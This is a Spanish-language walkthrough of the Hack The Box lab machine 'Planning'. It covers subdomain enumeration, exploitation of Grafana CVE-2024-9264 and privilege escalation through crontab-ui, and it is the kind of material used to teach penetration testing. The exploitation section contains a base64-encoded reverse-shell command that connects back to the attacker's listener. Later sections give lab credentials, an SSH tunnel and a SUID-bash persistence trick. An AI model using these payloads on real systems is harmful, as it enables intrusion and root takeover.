Descripción

Planning es una máquina fácil de Hack The Box que cuenta con las siguientes vulnerabilidades:

  • Enumeración de subdominios
  • Ejecución remota de comandos en Grafana con credenciales pre-obtenidas
  • Pivote de usuario mediante credenciales obtenidas en un entorno de contenedor de Docker y sus variables del entorno
  • Escalada de privilegios mediante la aplicación web crontab-ui y una contraseña guardada

Reconocimiento

Primero, vamos a comprobar con el comando ping si la máquina está activa y su sistema operativo. La dirección IP de la máquina de destino es 10.129.142.49.

$ ping -c 3 10.129.142.49
PING 10.129.142.49 (10.129.142.49) 56(84) bytes of data.
64 bytes from 10.129.142.49: icmp_seq=1 ttl=63 time=77.4 ms
64 bytes from 10.129.142.49: icmp_seq=2 ttl=63 time=50.9 ms
64 bytes from 10.129.142.49: icmp_seq=3 ttl=63 time=82.6 ms

--- 10.129.142.49 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 50.914/70.309/82.646/13.882 ms

La máquina está activa y con el TTL que equivale a 63 (64 menos 1 salto) podemos asegurar que es una máquina de Unix. Ahora vamos a hacer un escaneo de puertos de Nmap TCP SYN para comprobar todos los puertos abiertos.

$ sudo nmap 10.129.142.49 -sS -oN nmap_scan
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.142.49
Host is up (0.089s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 3.00 seconds

Obtenemos dos puertos abiertos, 22 y 80.️

Enumeración

Luego realizamos un escaneo más avanzado, con la versión de los servicios y scripts.️

$ nmap 10.129.142.49 -Pn -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.142.49
Host is up (0.073s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 62:ff:f6:d4:57:88:05:ad:f4:d3:de:5b:9b:f8:50:f1 (ECDSA)
|_  256 4c:ce:7d:5c:fb:2d:a0:9e:9f:bd:f5:5c:5e:61:50:8a (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://planning.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.32 seconds

Obtenemos el servicio SSH y el servicio HTTP. Agregamos el host planning.htb al archivo /etc/hosts.️

$ echo "10.129.142.49 planning.htb" | sudo tee -a /etc/hosts

Enumerando las subdominios del sitio web encontramos uno llamado grafana, por lo que lo agregamos al archivo /etc/hosts.️

$ gobuster vhost -u planning.htb -w /usr/share/seclists/Discovery/DNS/namelist.txt --append-domain -o vhost_enumeration -r -t 50           
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:             http://planning.htb
[+] Method:          GET
[+] Threads:         50
[+] Wordlist:        /usr/share/seclists/Discovery/DNS/namelist.txt
[+] User Agent:      gobuster/3.6
[+] Timeout:         10s
[+] Append Domain:   true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: grafana.planning.htb Status: 200 [Size: 38241]

$ echo "10.129.142.49 grafana.planning.htb" | sudo tee -a /etc/hosts

Grafana está ejecutándose con la versión v11.0.0.️

Exploitation

La versión de Grafana v11.0.0 es vulnerable porque las expresiones SQL de Grafana permiten la ejecución de código remoto, CVE-2024-9264. La función de expresiones SQL experimental de Grafana permite evaluar consultas duckdb que contienen entrada del usuario. Estas consultas no están suficientemente sanitizadas antes de ser pasadas a duckdb, lo que conduce a una vulnerabilidad de inyección de comandos y inclusión de archivos locales. Como disponemos de credenciales, admin y 0D5oT70Fq13EvB5r, podemos utilizarlas para activar la vulnerabilidad y crear una terminal inversa en nuestra máquina. Tenemos una prueba de concepto creada por nollium en GitHub. Primero necesitamos abrir un puerto de escucha.️

$ nc -nvlp 1234
$ git clone https://github.com/nollium/CVE-2024-9264
$ cd CVE-2024-9264
$ virtualenv grafana
$ . grafana/bin/activate
$ pip install -r requirements.txt
$ python3 CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -c "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4zNS8xMjM0IDA+JjE= | base64 -d | bash" http://grafana.planning.htb

Recibimos la terminal como el usuario root pero el nombre del host de la máquina y la dirección IP muestran que podríamos estar dentro de un contenedor Docker.️

$ nc -nvlp 1234                                                         listening on [any] 1234 ...
connect to [10.10.14.35] from (UNKNOWN) [10.129.142.49] 50790
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@7ce659d667d7:~# hostname; hostname -i
7ce659d667d7
172.17.0.2

Al verificar las variables de entorno encontramos un usuario, enzo, y una contraseña RioTecRANDEEntANT!.️

root@7ce659d667d7:~# env
AWS_AUTH_SESSION_DURATION=15m
HOSTNAME=7ce659d667d7
...
GF_PATHS_PROVISIONING=/etc/grafana/provisioning
GF_SECURITY_ADMIN_PASSWORD=RioTecRANDEntANT!
GF_SECURITY_ADMIN_USER=enzo
...

Podemos utilizar estos credenciales para iniciar sesión en la máquina utilizando el protocolo SSH.️

$ ssh enzo@planning.htb
enzo@planning:~$ id
uid=1000(enzo) gid=1000(enzo) groups=1000(enzo)

Post-Exploitación

Explorando los archivos de la máquina, encontramos uno interesante, /opt/crontabs/crontab.db.️

enzo@planning:~$ cat /opt/crontabs/crontab.db
{"name":"Grafana backup","command":"/usr/bin/docker save root_grafana -o /var/backups/grafana.tar && /usr/bin/gzip /var/backups/grafana.tar && zip -P P4ssw0rdS0pRi0T3c /var/backups/grafana.tar.gz.zip /var/backups/grafana.tar.gz && rm /var/backups/grafana.tar.gz","schedule":"@daily","stopped":false,"timestamp":"Fri Feb 28 2025 20:36:23 GMT+0000 (Coordinated Universal Time)","logging":"false","mailing":{},"created":1740774983276,"saved":false,"_id":"GTI22PpoJNtRKg0W"}
{"name":"Cleanup","command":"/root/scripts/cleanup.sh","schedule":"* * * * *","stopped":false,"timestamp":"Sat Mar 01 2025 17:15:09 GMT+0000 (Coordinated Universal Time)","logging":"false","mailing":{},"created":1740849309992,"saved":false,"_id":"gNIRXh1WIc9K7BYX"}

Contiene una representación en formato JSON de la configuración de dos tareas de Cron, Grafana backup y Cleanup. Encontramos una tarea y una contraseña utilizada para cifrar el archivo del contenido del contenedor Docker root_grafana, P4ssw0rdS0pRi0T3c. Al buscar el archivo crontab.db en línea, encontramos que este archivo puede corresponder a la aplicación web crontab-ui. Encontramos una puerta de entrada abierta en la máquina local, 8000.️

enzo@planning:~$ netstat -tulnp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.54:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8000          0.0.0.0:*               LISTEN      -

Lo redirigimos a nuestra máquina localhost en el puerto 8000.

$ ssh -N -L 8000:127.0.0.1:8000 enzo@planning.htb

Cuando accedemos a la aplicación web, encontramos una solicitud de autenticación. Podemos introducir usando el usuario root y la contraseña previamente capturada, P4ssw0rdS0pRi0T3c. Confirmamos que es la aplicación web crontab-ui.️ Ya que vemos que uno de los trabajos es utilizar un archivo ubicado en la carpeta /root, inferimos que las comandos se ejecutan como usuario root. Creamos un nuevo trabajo Cron para crear un binario SUID Bash en la carpeta /tmp haciendo clic en el botón New y rellenando los campos con el comando de la siguiente manera: cp /bin/bash /tmp/suid-bash; chmod u+s /tmp/suid-bash.️ Cuando se crea el trabajo podemos hacer clic en el botón Run now para activar el comando de manera inmediata. Finalmente podremos crear una terminal `root.️

enzo@planning:~$ /tmp/suid-bash -p
suid-bash-5.2# id
uid=1000(enzo) gid=1000(enzo) euid=0(root) groups=1000(enzo)

Flags

En la terminal de root podemos obtener las flags de usuario y root.️

suid-bash-5.2# cat /home/enzo/user.txt 
<REDACTED>
suid-bash-5.2# cat /root/root.txt 
<REDACTED>